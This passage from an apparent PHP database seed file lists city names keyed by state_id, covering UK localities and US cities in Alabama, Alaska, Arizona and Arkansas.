=> 'leyton'],\n ['state_id' => '3866', 'name' => 'london'],\n ['state_id' => '3866', 'name' => 'magherafelt'],\n ['state_id' => '3866', 'name' => 'mill hill'],\n ['state_id' => '3866', 'name' => 'southwark'],\n ['state_id' => '3866', 'name' => 'suffolk'],\n ['state_id' => '3866', 'name' => 'sulham'],\n ['state_id' => '3866', 'name' => 'victoria'],\n ['state_id' => '3866', 'name' => 'walthamstow'],\n ['state_id' => '3866', 'name' => 'wandsworth'],\n ['state_id' => '3866', 'name' => 'wembley'],\n ['state_id' => '3866', 'name' => 'wimbledon'],\n ['state_id' => '3866', 'name' => 'woolwich'],\n ['state_id' => '3867', 'name' => 'ludlow'],\n ['state_id' => '3868', 'name' => 'manchester'],\n ['state_id' => '3868', 'name' => 'prestwich'],\n ['state_id' => '3868', 'name' => 'salford'],\n ['state_id' => '3868', 'name' => 'swinton'],\n ['state_id' => '3868', 'name' => 'worsley'],\n ['state_id' => '3869', 'name' => 'mayfair'],\n ['state_id' => '3870', 'name' => 'southport'],\n ['state_id' => '3872', 'name' => 'brentford'],\n ['state_id' => '3872', 'name' => 'brimsdown'],\n ['state_id' => '3872', 'name' => 'drayton'],\n ['state_id' => '3872', 'name' => 'edgware'],\n ['state_id' => '3872', 'name' => 'feltham'],\n ['state_id' => '3872', 'name' => 'greenford'],\n ['state_id' => '3872', 'name' => 'hampton'],\n ['state_id' => '3872', 'name' => 'harmondsworth'],\n ['state_id' => '3872', 'name' => 'harrow'],\n ['state_id' => '3872', 'name' => 'hayes'],\n ['state_id' => '3872', 'name' => 'isleworth'],\n ['state_id' => '3872', 'name' => 'northolt'],\n ['state_id' => '3872', 'name' => 'northwood'],\n ['state_id' => '3872', 'name' => 'perivale'],\n ['state_id' => '3872', 'name' => 'pinner'],\n ['state_id' => '3872', 'name' => 'ruislip'],\n ['state_id' => '3872', 'name' => 'ruislip manor'],\n ['state_id' => '3872', 'name' => 'south harrow'],\n ['state_id' => '3872', 'name' => 'southall'],\n ['state_id' => '3872', 'name' => 'staines'],\n ['state_id' => '3872', 'name' => 'stamore'],\n ['state_id' => '3872', 'name' => 'stanmore'],\n ['state_id' => '3872', 'name' => 'stanwell'],\n ['state_id' => '3872', 'name' => 'sunbury'],\n ['state_id' => '3872', 'name' => 'teddington'],\n ['state_id' => '3872', 'name' => 'twickenham'],\n ['state_id' => '3872', 'name' => 'uxbridge'],\n ['state_id' => '3872', 'name' => 'watford'],\n ['state_id' => '3872', 'name' => 'wembley'],\n ['state_id' => '3872', 'name' => 'west drayton'],\n ['state_id' => '3872', 'name' => 'wraysbury'],\n ['state_id' => '3872', 'name' => 'hounslow'],\n ['state_id' => '3873', 'name' => 'mildenhall'],\n ['state_id' => '3874', 'name' => 'abergavenny'],\n ['state_id' => '3874', 'name' => 'monmouth'],\n ['state_id' => '3876', 'name' => 'attleborough'],\n ['state_id' => '3876', 'name' => 'bacton'],\n ['state_id' => '3876', 'name' => 'briston'],\n ['state_id' => '3876', 'name' => 'dereham'],\n ['state_id' => '3876', 'name' => 'diss'],\n ['state_id' => '3876', 'name' => 'downham market'],\n ['state_id' => '3876', 'name' => 'fakenham'],\n ['state_id' => '3876', 'name' => 'garboldisham'],\n ['state_id' => '3876', 'name' => 'gayton'],\n ['state_id' => '3876', 'name' => 'glandford'],\n ['state_id' => '3876', 'name' => 'great yarmouth'],\n ['state_id' => '3876', 'name' => 'heacham'],\n ['state_id' => '3876', 'name' => 'hopton'],\n ['state_id' => '3876', 'name' => 'kings lynn'],\n ['state_id' => '3876', 'name' => 'little cressingham'],\n ['state_id' => '3876', 'name' => 'norwich'],\n ['state_id' => '3876', 'name' => 'sheringham'],\n ['state_id' => '3876', 'name' => 'thetford'],\n ['state_id' => '3876', 'name' => 'trunch'],\n ['state_id' => '3876', 'name' => 'winordhan'],\n ['state_id' => '3876', 'name' => 'wymondham'],\n ['state_id' => '3879', 'name' => 'daventry'],\n ['state_id' => '3879', 'name' => 'irthlingborough'],\n ['state_id' => '3879', 'name' => 'middleton cheney'],\n ['state_id' => '3879', 'name' => 'oundle'],\n ['state_id' => '3879', 'name' => 'towcester'],\n ['state_id' => '3879', 'name' => 'welford'],\n ['state_id' => '3879', 'name' => 'wellingborough'],\n ['state_id' => '3879', 'name' => 'woodford halse'],\n ['state_id' => '3880', 'name' => 'brackley'],\n ['state_id' => '3880', 'name' => 'desborough'],\n ['state_id' => '3880', 'name' => 'weedon'],\n ['state_id' => '3882', 'name' => 'bedlington'],\n ['state_id' => '3882', 'name' => 'corbridge'],\n ['state_id' => '3882', 'name' => 'cramlington'],\n ['state_id' => '3882', 'name' => 'morpeth'],\n ['state_id' => '3882', 'name' => 'northumberland'],\n ['state_id' => '3882', 'name' => 'ponteland'],\n ['state_id' => '3882', 'name' => 'wooler'],\n ['state_id' => '3883', 'name' => 'burton joyce'],\n ['state_id' => '3883', 'name' => 'cotgraves'],\n ['state_id' => '3883', 'name' => 'gonalston'],\n ['state_id' => '3883', 'name' => 'mansfield'],\n ['state_id' => '3883', 'name' => 'newark'],\n ['state_id' => '3883', 'name' => 'nottingham'],\n ['state_id' => '3883', 'name' => 'pennyfoot street'],\n ['state_id' => '3883', 'name' => 'sandiacre'],\n ['state_id' => '3883', 'name' => 'southwell'],\n ['state_id' => '3883', 'name' => 'whatton'],\n ['state_id' => '3884', 'name' => 'bampton'],\n ['state_id' => '3884', 'name' => 'banbury'],\n ['state_id' => '3884', 'name' => 'bicester'],\n ['state_id' => '3884', 'name' => 'blewbury'],\n ['state_id' => '3884', 'name' => 'cheltenham'],\n ['state_id' => '3884', 'name' => 'chipping norton'],\n ['state_id' => '3884', 'name' => 'drayton'],\n ['state_id' => '3884', 'name' => 'eynsham'],\n ['state_id' => '3884', 'name' => 'farringdon'],\n ['state_id' => '3884', 'name' => 'henely on thames'],\n ['state_id' => '3884', 'name' => 'henley-on-thames'],\n ['state_id' => '3884', 'name' => 'oxford'],\n ['state_id' => '3884', 'name' => 'shenington'],\n ['state_id' => '3884', 'name' => 'thame'],\n ['state_id' => '3884', 'name' => 'wantage'],\n ['state_id' => '3885', 'name' => 'builth wells'],\n ['state_id' => '3885', 'name' => 'knighton'],\n ['state_id' => '3885', 'name' => 'llanbrynmair'],\n ['state_id' => '3885', 'name' => 'new town'],\n ['state_id' => '3885', 'name' => 'newtown'],\n ['state_id' => '3885', 'name' => 'rhaeadr'],\n ['state_id' => '3885', 'name' => 'welshpool'],\n ['state_id' => '3886', 'name' => 'hill of fearn'],\n ['state_id' => '3887', 'name' => 'shoreham'],\n ['state_id' => '3888', 'name' => 'sark'],\n ['state_id' => '3889', 'name' => 'aberdeen'],\n ['state_id' => '3889', 'name' => 'alloa'],\n ['state_id' => '3889', 'name' => 'alness'],\n ['state_id' => '3889', 'name' => 'annan'],\n ['state_id' => '3889', 'name' => 'arbroath'],\n ['state_id' => '3889', 'name' => 'ardrossan'],\n ['state_id' => '3889', 'name' => 'armadale'],\n ['state_id' => '3889', 'name' => 'ayr'],\n ['state_id' => '3889', 'name' => 'bathgate'],\n ['state_id' => '3889', 'name' => 'blairgowrie'],\n ['state_id' => '3889', 'name' => 'blantyre-hamilton'],\n ['state_id' => '3889', 'name' => 'boness'],\n ['state_id' => '3889', 'name' => 'bonnybridge'],\n ['state_id' => '3889', 'name' => 'broxburn'],\n ['state_id' => '3889', 'name' => 'broxham'],\n ['state_id' => '3889', 'name' => 'buckhaven'],\n ['state_id' => '3889', 'name' => 'burntisland'],\n ['state_id' => '3889', 'name' => 'carluke'],\n ['state_id' => '3889', 'name' => 'carnoustie'],\n ['state_id' => '3889', 'name' => 'coatbridge'],\n ['state_id' => '3889', 'name' => 'cowdenbeath'],\n ['state_id' => '3889', 'name' => 'cumbernauld'],\n ['state_id' => '3889', 'name' => 'cumnock'],\n ['state_id' => '3889', 'name' => 'cupar'],\n ['state_id' => '3889', 'name' => 'dalbeattie'],\n ['state_id' => '3889', 'name' => 'dalkeith'],\n ['state_id' => '3889', 'name' => 'dingwall'],\n ['state_id' => '3889', 'name' => 'dumbarton'],\n ['state_id' => '3889', 'name' => 'dumfries'],\n ['state_id' => '3889', 'name' => 'dundee'],\n ['state_id' => '3889', 'name' => 'dunfermline'],\n ['state_id' => '3889', 'name' => 'dunoon'],\n ['state_id' => '3889', 'name' => 'east kilbride'],\n ['state_id' => '3889', 'name' => 'edimburah'],\n ['state_id' => '3889', 'name' => 'edinburgh'],\n ['state_id' => '3889', 'name' => 'elgin'],\n ['state_id' => '3889', 'name' => 'ellon'],\n ['state_id' => '3889', 'name' => 'erskine'],\n ['state_id' => '3889', 'name' => 'falkirk'],\n ['state_id' => '3889', 'name' => 'forfar'],\n ['state_id' => '3889', 'name' => 'forres'],\n ['state_id' => '3889', 'name' => 'fort william'],\n ['state_id' => '3889', 'name' => 'fraserburgh'],\n ['state_id' => '3889', 'name' => 'galashiels'],\n ['state_id' => '3889', 'name' => 'galston-newmilns'],\n ['state_id' => '3889', 'name' => 'girvan'],\n ['state_id' => '3889', 'name' => 'glasgow'],\n ['state_id' => '3889', 'name' => 'glenrothes'],\n ['state_id' => '3889', 'name' => 'greengairs'],\n ['state_id' => '3889', 'name' => 'greenock'],\n ['state_id' => '3889', 'name' => 'haddington'],\n ['state_id' => '3889', 'name' => 'hawick'],\n ['state_id' => '3889', 'name' => 'helensburgh'],\n ['state_id' => '3889', 'name' => 'insch'],\n ['state_id' => '3889', 'name' => 'inverkeithing-dalgety bay'],\n ['state_id' => '3889', 'name' => 'inverness'],\n ['state_id' => '3889', 'name' => 'inverurie'],\n ['state_id' => '3889', 'name' => 'irvine'],\n ['state_id' => '3889', 'name' => 'isle of lewis'],\n ['state_id' => '3889', 'name' => 'kilmarnock'],\n ['state_id' => '3889', 'name' => 'kilsyth'],\n ['state_id' => '3889', 'name' => 'kilwinning'],\n ['state_id' => '3889', 'name' => 'kirkcaldy'],\n ['state_id' => '3889', 'name' => 'kirkintilloch-lenzie'],\n ['state_id' => '3889', 'name' => 'kirkwall'],\n ['state_id' => '3889', 'name' => 'lanark'],\n ['state_id' => '3889', 'name' => 'largs'],\n ['state_id' => '3889', 'name' => 'larkhall'],\n ['state_id' => '3889', 'name' => 'lerwick'],\n ['state_id' => '3889', 'name' => 'linlithgow'],\n ['state_id' => '3889', 'name' => 'livingston'],\n ['state_id' => '3889', 'name' => 'loanhead'],\n ['state_id' => '3889', 'name' => 'montrose'],\n ['state_id' => '3889', 'name' => 'motherwell'],\n ['state_id' => '3889', 'name' => 'nairn'],\n ['state_id' => '3889', 'name' => 'newtown saint boswells'],\n ['state_id' => '3889', 'name' => 'paisley'],\n ['state_id' => '3889', 'name' => 'penicuik'],\n ['state_id' => '3889', 'name' => 'perth'],\n ['state_id' => '3889', 'name' => 'peterhead'],\n ['state_id' => '3889', 'name' => 'saint andrews'],\n ['state_id' => '3889', 'name' => 'selkirkshire'],\n ['state_id' => '3889', 'name' => 'shotts'],\n ['state_id' => '3889', 'name' => 'stirling'],\n ['state_id' => '3889', 'name' => 'stonehaven'],\n ['state_id' => '3889', 'name' => 'stornoway'],\n ['state_id' => '3889', 'name' => 'stranraer'],\n ['state_id' => '3889', 'name' => 'tranent'],\n ['state_id' => '3889', 'name' => 'troon'],\n ['state_id' => '3889', 'name' => 'whitburn'],\n ['state_id' => '3891', 'name' => 'bishops castle'],\n ['state_id' => '3891', 'name' => 'bridgnorth'],\n ['state_id' => '3891', 'name' => 'bucknell'],\n ['state_id' => '3891', 'name' => 'drayton'],\n ['state_id' => '3891', 'name' => 'greete'],\n ['state_id' => '3891', 'name' => 'hinstock'],\n ['state_id' => '3891', 'name' => 'jackfield'],\n ['state_id' => '3891', 'name' => 'ludlow'],\n ['state_id' => '3891', 'name' => 'much wenlock'],\n ['state_id' => '3891', 'name' => 'oswestry'],\n ['state_id' => '3891', 'name' => 'ryton'],\n ['state_id' => '3891', 'name' => 'shifnal'],\n ['state_id' => '3891', 'name' => 'shrewsbury'],\n ['state_id' => '3891', 'name' => 'telford'],\n ['state_id' => '3891', 'name' => 'whitchurch'],\n ['state_id' => '3892', 'name' => 'bath'],\n ['state_id' => '3892', 'name' => 'brent knoll'],\n ['state_id' => '3892', 'name' => 'castle cary'],\n ['state_id' => '3892', 'name' => 'shepton mallet'],\n ['state_id' => '3892', 'name' => 'somerset'],\n ['state_id' => '3892', 'name' => 'taunton'],\n ['state_id' => '3892', 'name' => 'wedmore'],\n ['state_id' => '3892', 'name' => 'wellington'],\n ['state_id' => '3892', 'name' => 'weston-super-mare'],\n ['state_id' => '3897', 'name' => 'burton-on-trent'],\n ['state_id' => '3897', 'name' => 'hednesford'],\n ['state_id' => '3897', 'name' => 'stoke on trent'],\n ['state_id' => '3897', 'name' => 'stone'],\n ['state_id' => '3898', 'name' => 'strabane'],\n ['state_id' => '3899', 'name' => 'bury st edmunds'],\n ['state_id' => '3899', 'name' => 'felixstowe'],\n ['state_id' => '3899', 'name' => 'haverhill'],\n ['state_id' => '3899', 'name' => 'leiston'],\n ['state_id' => '3899', 'name' => 'lowestoft'],\n ['state_id' => '3899', 'name' => 'stowmarket'],\n ['state_id' => '3899', 'name' => 'sudbury'],\n ['state_id' => '3899', 'name' => 'woodbridge'],\n ['state_id' => '3900', 'name' => 'ashtead'],\n ['state_id' => '3900', 'name' => 'bagshot'],\n ['state_id' => '3900', 'name' => 'betchworth'],\n ['state_id' => '3900', 'name' => 'bletchingley'],\n ['state_id' => '3900', 'name' => 'carshalton'],\n ['state_id' => '3900', 'name' => 'chertsey'],\n ['state_id' => '3900', 'name' => 'claygate'],\n ['state_id' => '3900', 'name' => 'croydon'],\n ['state_id' => '3900', 'name' => 'dorking'],\n ['state_id' => '3900', 'name' => 'effingham'],\n ['state_id' => '3900', 'name' => 'epsom'],\n ['state_id' => '3900', 'name' => 'farnham'],\n ['state_id' => '3900', 'name' => 'haslemere'],\n ['state_id' => '3900', 'name' => 'kingston upon thames'],\n ['state_id' => '3900', 'name' => 'leatherhead'],\n ['state_id' => '3900', 'name' => 'mitcham'],\n ['state_id' => '3900', 'name' => 'new malden'],\n ['state_id' => '3900', 'name' => 'redhill'],\n ['state_id' => '3900', 'name' => 'richmond'],\n ['state_id' => '3900', 'name' => 'salfords'],\n ['state_id' => '3900', 'name' => 'shepperton'],\n ['state_id' => '3900', 'name' => 'stoneleigh'],\n ['state_id' => '3900', 'name' => 'surbiton'],\n ['state_id' => '3900', 'name' => 'surrey'],\n ['state_id' => '3900', 'name' => 'tadworth'],\n ['state_id' => '3900', 'name' => 'walton on thames'],\n ['state_id' => '3900', 'name' => 'west molesey'],\n ['state_id' => '3900', 'name' => 'wisley'],\n ['state_id' => '3900', 'name' => 'woking'],\n ['state_id' => '3901', 'name' => 'brighton'],\n ['state_id' => '3901', 'name' => 'henfield'],\n ['state_id' => '3901', 'name' => 'sussex'],\n ['state_id' => '3901', 'name' => 'worthing'],\n ['state_id' => '3902', 'name' => 'twickenham'],\n ['state_id' => '3904', 'name' => 'omagh'],\n ['state_id' => '3905', 'name' => 'santaquin'],\n ['state_id' => '3906', 'name' => 'aberdare'],\n ['state_id' => '3906', 'name' => 'aberystwyth'],\n ['state_id' => '3906', 'name' => 'barry'],\n ['state_id' => '3906', 'name' => 'brecon'],\n ['state_id' => '3906', 'name' => 'bridgend'],\n ['state_id' => '3906', 'name' => 'brynmawr'],\n ['state_id' => '3906', 'name' => 'caernarfon'],\n ['state_id' => '3906', 'name' => 'caerphily'],\n ['state_id' => '3906', 'name' => 'caldicot'],\n ['state_id' => '3906', 'name' => 'cardiff'],\n ['state_id' => '3906', 'name' => 'carmarthen'],\n ['state_id' => '3906', 'name' => 'colwyn bay'],\n ['state_id' => '3906', 'name' => 'connahs quay'],\n ['state_id' => '3906', 'name' => 'cwmbran'],\n ['state_id' => '3906', 'name' => 'dolgellau'],\n ['state_id' => '3906', 'name' => 'ebbw vale'],\n ['state_id' => '3906', 'name' => 'gaerwen'],\n ['state_id' => '3906', 'name' => 'gwynedd'],\n ['state_id' => '3906', 'name' => 'haverfordwest'],\n ['state_id' => '3906', 'name' => 'isle of anglesey'],\n ['state_id' => '3906', 'name' => 'islwyn'],\n ['state_id' => '3906', 'name' => 'llandrindod wells'],\n ['state_id' => '3906', 'name' => 'llanelli'],\n ['state_id' => '3906', 'name' => 'llangefni'],\n ['state_id' => '3906', 'name' => 'maesteg'],\n ['state_id' => '3906', 'name' => 'merthyr tydfil'],\n ['state_id' => '3906', 'name' => 'mold'],\n ['state_id' => '3906', 'name' => 'mountain ash-abercynon'],\n ['state_id' => '3906', 'name' => 'neath'],\n ['state_id' => '3906', 'name' => 'newport'],\n ['state_id' => '3906', 'name' => 'pembrokeshire'],\n ['state_id' => '3906', 'name' => 'penarth'],\n ['state_id' => '3906', 'name' => 'pencader'],\n ['state_id' => '3906', 'name' => 'pontypool'],\n ['state_id' => '3906', 'name' => 'pontypridd'],\n ['state_id' => '3906', 'name' => 'port talbot'],\n ['state_id' => '3906', 'name' => 'queensferry'],\n ['state_id' => '3906', 'name' => 'rhondda'],\n ['state_id' => '3906', 'name' => 'rhyl'],\n ['state_id' => '3906', 'name' => 'ruthin'],\n ['state_id' => '3906', 'name' => 'shotton-hawarden'],\n ['state_id' => '3906', 'name' => 'st. asaph'],\n ['state_id' => '3906', 'name' => 'swansea'],\n ['state_id' => '3906', 'name' => 'west glamorgan'],\n ['state_id' => '3906', 'name' => 'wrexham'],\n ['state_id' => '3907', 'name' => 'alcester'],\n ['state_id' => '3907', 'name' => 'coventry'],\n ['state_id' => '3907', 'name' => 'henley in arden'],\n ['state_id' => '3907', 'name' => 'nuneaton'],\n ['state_id' => '3907', 'name' => 'pershore'],\n ['state_id' => '3907', 'name' => 'southam'],\n ['state_id' => '3907', 'name' => 'warwick'],\n ['state_id' => '3912', 'name' => 'whissendine'],\n ['state_id' => '3913', 'name' => 'amesbury'],\n ['state_id' => '3913', 'name' => 'bradford on avon'],\n ['state_id' => '3913', 'name' => 'calne'],\n ['state_id' => '3913', 'name' => 'chippenham'],\n ['state_id' => '3913', 'name' => 'corsham'],\n ['state_id' => '3913', 'name' => 'cosham'],\n ['state_id' => '3913', 'name' => 'devizes'],\n ['state_id' => '3913', 'name' => 'downton'],\n ['state_id' => '3913', 'name' => 'malmesbury'],\n ['state_id' => '3913', 'name' => 'marlborough'],\n ['state_id' => '3913', 'name' => 'melksham'],\n ['state_id' => '3913', 'name' => 'pewsey'],\n ['state_id' => '3913', 'name' => 'salisbury'],\n ['state_id' => '3913', 'name' => 'southwick'],\n ['state_id' => '3913', 'name' => 'swindon'],\n ['state_id' => '3913', 'name' => 'warminster'],\n ['state_id' => '3913', 'name' => 'westbury'],\n ['state_id' => '3914', 'name' => 'winnersh'],\n ['state_id' => '3915', 'name' => 'evesham'],\n ['state_id' => '3915', 'name' => 'hartlebury'],\n ['state_id' => '3915', 'name' => 'kidderminster'],\n ['state_id' => '3915', 'name' => 'pershore'],\n ['state_id' => '3915', 'name' => 'redditch'],\n ['state_id' => '3915', 'name' => 'worcester'],\n ['state_id' => '3916', 'name' => 'caergwrle'],\n ['state_id' => '3916', 'name' => 'ruabon'],\n ['state_id' => '3917', 'name' => 'neuffen'],\n ['state_id' => '3918', 'name' => 'beverley'],\n ['state_id' => '3918', 'name' => 'malton'],\n ['state_id' => '3918', 'name' => 'mexborough'],\n ['state_id' => '3919', 'name' => 'alabaster'],\n ['state_id' => '3919', 'name' => 'albertville'],\n ['state_id' => '3919', 'name' => 'alexander city'],\n ['state_id' => '3919', 'name' => 'anniston'],\n ['state_id' => '3919', 'name' => 'arab'],\n ['state_id' => '3919', 'name' => 'ashville'],\n ['state_id' => '3919', 'name' => 'athens'],\n ['state_id' => '3919', 'name' => 'atmore'],\n ['state_id' => '3919', 'name' => 'auburn'],\n ['state_id' => '3919', 'name' => 'bessemer'],\n ['state_id' => '3919', 'name' => 'birmingham'],\n ['state_id' => '3919', 'name' => 'capshaw'],\n ['state_id' => '3919', 'name' => 'center point'],\n ['state_id' => '3919', 'name' => 'childersburg'],\n ['state_id' => '3919', 'name' => 'cullman'],\n ['state_id' => '3919', 'name' => 'daleville'],\n ['state_id' => '3919', 'name' => 'daphne'],\n ['state_id' => '3919', 'name' => 'decatur'],\n ['state_id' => '3919', 'name' => 'dothan'],\n ['state_id' => '3919', 'name' => 'enterprise'],\n ['state_id' => '3919', 'name' => 'eufaula'],\n ['state_id' => '3919', 'name' => 'fairfield'],\n ['state_id' => '3919', 'name' => 'fairhope'],\n ['state_id' => '3919', 'name' => 'florence'],\n ['state_id' => '3919', 'name' => 'fort payne'],\n ['state_id' => '3919', 'name' => 'gadsden'],\n ['state_id' => '3919', 'name' => 'grand bay'],\n ['state_id' => '3919', 'name' => 'grove hill'],\n ['state_id' => '3919', 'name' => 'guntersville'],\n ['state_id' => '3919', 'name' => 'hampton cove'],\n ['state_id' => '3919', 'name' => 'hanceville'],\n ['state_id' => '3919', 'name' => 'hartselle'],\n ['state_id' => '3919', 'name' => 'headland'],\n ['state_id' => '3919', 'name' => 'helena'],\n ['state_id' => '3919', 'name' => 'hodges'],\n ['state_id' => '3919', 'name' => 'homewood'],\n ['state_id' => '3919', 'name' => 'hoover'],\n ['state_id' => '3919', 'name' => 'hueytown'],\n ['state_id' => '3919', 'name' => 'huntsville'],\n ['state_id' => '3919', 'name' => 'jacksonville'],\n ['state_id' => '3919', 'name' => 'jasper'],\n ['state_id' => '3919', 'name' => 'leeds'],\n ['state_id' => '3919', 'name' => 'luverne'],\n ['state_id' => '3919', 'name' => 'madison'],\n ['state_id' => '3919', 'name' => 'mobile'],\n ['state_id' => '3919', 'name' => 'montgomery'],\n ['state_id' => '3919', 'name' => 'mountain brook'],\n ['state_id' => '3919', 'name' => 'muscle shoals'],\n ['state_id' => '3919', 'name' => 'northport'],\n ['state_id' => '3919', 'name' => 'notasulga'],\n ['state_id' => '3919', 'name' => 'opelika'],\n ['state_id' => '3919', 'name' => 'oxford'],\n ['state_id' => '3919', 'name' => 'ozark'],\n ['state_id' => '3919', 'name' => 'pelham'],\n ['state_id' => '3919', 'name' => 'pell city'],\n ['state_id' => '3919', 'name' => 'pennsylvania'],\n ['state_id' => '3919', 'name' => 'phenix city'],\n ['state_id' => '3919', 'name' => 'prattville'],\n ['state_id' => '3919', 'name' => 'prichard'],\n ['state_id' => '3919', 'name' => 'ramer'],\n ['state_id' => '3919', 'name' => 'roanoke'],\n ['state_id' => '3919', 'name' => 'saraland'],\n ['state_id' => '3919', 'name' => 'scottsboro'],\n ['state_id' => '3919', 'name' => 'selma'],\n ['state_id' => '3919', 'name' => 'sheffield'],\n ['state_id' => '3919', 'name' => 'smiths'],\n ['state_id' => '3919', 'name' => 'sumiton'],\n ['state_id' => '3919', 'name' => 'sylacauga'],\n ['state_id' => '3919', 'name' => 'talladega'],\n ['state_id' => '3919', 'name' => 'thomasville'],\n ['state_id' => '3919', 'name' => 'trafford'],\n ['state_id' => '3919', 'name' => 'troy'],\n ['state_id' => '3919', 'name' => 'trussville'],\n ['state_id' => '3919', 'name' => 'tuscaloosa'],\n ['state_id' => '3919', 'name' => 'tuskegee'],\n ['state_id' => '3919', 'name' => 'vestavia hills'],\n ['state_id' => '3920', 'name' => 'anchorage'],\n ['state_id' => '3920', 'name' => 'barrow'],\n ['state_id' => '3920', 'name' => 'bethel'],\n ['state_id' => '3920', 'name' => 'college'],\n ['state_id' => '3920', 'name' => 'fairbanks'],\n ['state_id' => '3920', 'name' => 'homer'],\n ['state_id' => '3920', 'name' => 'juneau'],\n ['state_id' => '3920', 'name' => 'kenai'],\n ['state_id' => '3920', 'name' => 'ketchikan'],\n ['state_id' => '3920', 'name' => 'kodiak'],\n ['state_id' => '3920', 'name' => 'nome'],\n ['state_id' => '3920', 'name' => 'palmer'],\n ['state_id' => '3920', 'name' => 'sitka'],\n ['state_id' => '3920', 'name' => 'soldotna'],\n ['state_id' => '3920', 'name' => 'sterling'],\n ['state_id' => '3920', 'name' => 'unalaska'],\n ['state_id' => '3920', 'name' => 'valdez'],\n ['state_id' => '3920', 'name' => 'wasilla'],\n ['state_id' => '3921', 'name' => 'apache junction'],\n ['state_id' => '3921', 'name' => 'avondale'],\n ['state_id' => '3921', 'name' => 'bisbee'],\n ['state_id' => '3921', 'name' => 'bouse'],\n ['state_id' => '3921', 'name' => 'bullhead city'],\n ['state_id' => '3921', 'name' => 'carefree'],\n ['state_id' => '3921', 'name' => 'casa grande'],\n ['state_id' => '3921', 'name' => 'casas adobes'],\n ['state_id' => '3921', 'name' => 'chandler'],\n ['state_id' => '3921', 'name' => 'clarkdale'],\n ['state_id' => '3921', 'name' => 'cottonwood'],\n ['state_id' => '3921', 'name' => 'douglas'],\n ['state_id' => '3921', 'name' => 'drexel heights'],\n ['state_id' => '3921', 'name' => 'el mirage'],\n ['state_id' => '3921', 'name' => 'flagstaff'],\n ['state_id' => '3921', 'name' => 'florence'],\n ['state_id' => '3921', 'name' => 'flowing wells'],\n ['state_id' => '3921', 'name' => 'fort mohave'],\n ['state_id' => '3921', 'name' => 'fortuna foothills'],\n ['state_id' => '3921', 'name' => 'fountain hills'],\n ['state_id' => '3921', 'name' => 'gilbert'],\n ['state_id' => '3921', 'name' => 'glendale'],\n ['state_id' => '3921', 'name' => 'globe'],\n ['state_id' => '3921', 'name' => 'goodyear'],\n ['state_id' => '3921', 'name' => 'green valley'],\n ['state_id' => '3921', 'name' => 'kingman'],\n ['state_id' => '3921', 'name' => 'lake havasu city'],\n ['state_id' => '3921', 'name' => 'laveen'],\n ['state_id' => '3921', 'name' => 'litchfield park'],\n ['state_id' => '3921', 'name' => 'marana'],\n ['state_id' => '3921', 'name' => 'mesa'],\n ['state_id' => '3921', 'name' => 'new kingman-butler'],\n ['state_id' => '3921', 'name' => 'nogales'],\n ['state_id' => '3921', 'name' => 'oracle'],\n ['state_id' => '3921', 'name' => 'oro valley'],\n ['state_id' => '3921', 'name' => 'paradise valley'],\n ['state_id' => '3921', 'name' => 'parker'],\n ['state_id' => '3921', 'name' => 'payson'],\n ['state_id' => '3921', 'name' => 'peoria'],\n ['state_id' => '3921', 'name' => 'phoenix'],\n ['state_id' => '3921', 'name' => 'pine'],\n ['state_id' => '3921', 'name' => 'pinetop'],\n ['state_id' => '3921', 'name' => 'prescott'],\n ['state_id' => '3921', 'name' => 'prescott valley'],\n ['state_id' => '3921', 'name' => 'quartzsite'],\n ['state_id' => '3921', 'name' => 'queen creek'],\n ['state_id' => '3921', 'name' => 'rio rico'],\n ['state_id' => '3921', 'name' => 'safford'],\n ['state_id' => '3921', 'name' => 'san luis'],\n ['state_id' => '3921', 'name' => 'scottsdale'],\n ['state_id' => '3921', 'name' => 'sedona'],\n ['state_id' => '3921', 'name' => 'sierra vista'],\n ['state_id' => '3921', 'name' => 'sierra vista southeast'],\n ['state_id' => '3921', 'name' => 'sun city'],\n ['state_id' => '3921', 'name' => 'sun city west'],\n ['state_id' => '3921', 'name' => 'surprise'],\n ['state_id' => '3921', 'name' => 'tempe'],\n ['state_id' => '3921', 'name' => 'tombstone'],\n ['state_id' => '3921', 'name' => 'tucson'],\n ['state_id' => '3921', 'name' => 'winslow'],\n ['state_id' => '3921', 'name' => 'yuma'],\n ['state_id' => '3922', 'name' => 'alexander'],\n ['state_id' => '3922', 'name' => 'arkadelphia'],\n ['state_id' => '3922', 'name' => 'batesville'],\n ['state_id' => '3922', 'name' => 'bella vista'],\n ['state_id' => '3922', 'name' => 'benton'],\n ['state_id' => '3922', 'name' => 'bentonville'],\n ['state_id' => '3922', 'name' => 'berryville'],\n ['state_id' => '3922', 'name' => 'blytheville'],\n ['state_id' => '3922', 'name' => 'cabot'],\n ['state_id' => '3922', 'name' => 'camden'],\n ['state_id' => '3922', 'name' => 'cherry valley'],\n ['state_id' => '3922', 'name' => 'conway'],\n ['state_id' => '3922', 'name' => 'corning'],\n ['state_id' => '3922', 'name' => 'el dorado'],\n ['state_id' => '3922', 'name' => 'fayetteville'],\n ['state_id' => '3922', 'name' => 'forrest city'],\n ['state_id' => '3922', 'name' => 'fort smith'],\n ['state_id' => '3922', 'name' => 'harrison'],\n ['state_id' => '3922', 'name' => 'hope'],\n ['state_id' => '3922', 'name' => 'hot springs'],\n ['state_id' => '3922', 'name' => 'jacksonville'],\n ['state_id' => '3922', 'name' => 'jonesboro'],\n ['state_id' => '3922', 'name' => 'lake city'],\n ['state_id' => '3922', 'name' => 'little rock'],\n ['state_id' => '3922', 'name' => 'magnolia'],\n ['state_id' => '3922', 'name' => 'mount vernon'],\n ['state_id' => '3922', 'name' => 'mountain home'],\n ['state_id' => '3922', 'name' => 'norfork'],\n ['state_id' => '3922', 'name' => 'north little rock'],\n ['state_id' => '3922', 'name' => 'paragould'],\n ['state_id' => '3922', 'name' => 'piggott'],\n ['state_id' => '3922', 'name' => 'pine bluff'],\n ['state_id' => '3922', 'name' => 'pocahontas'],\n ['state_id' => '3922', 'name' => 'prescott'],\n ['state_id' => '3922', 'name' => 'quitman'],\n ['state_id' => '3922', 'name' => 'rogers'],\n ['state_id' => '3922', 'name' => 'russellville'],\n ['state_id' => '3922', 'name' => 'searcy'],\n ['state_id' => '3922', 'name' => 'sheridan'],\n ['state_id' => '3922', 'name' => 'sherwood'],\n ['state_id' => '3922', 'name' => 'siloam springs'],\n ['state_id' => '3922', 'name' => 'springdale'],\n ['state_id' => '3922', 'name' => 'stuttgart'],\n ['state_id' => '3922', 'name' => 'texarkana'],\n ['state_id' => '3922', 'name' => 'van buren'],\n ['state_id' => '3922', 'name' => 'ward'],\n ['state_id' => '3922', 'name' => 'west helena'],\n ['state_id' => '3922', 'name' => 'west memphis'],\n ['state_id' => '3922', 'name' => 'wynne'],\n 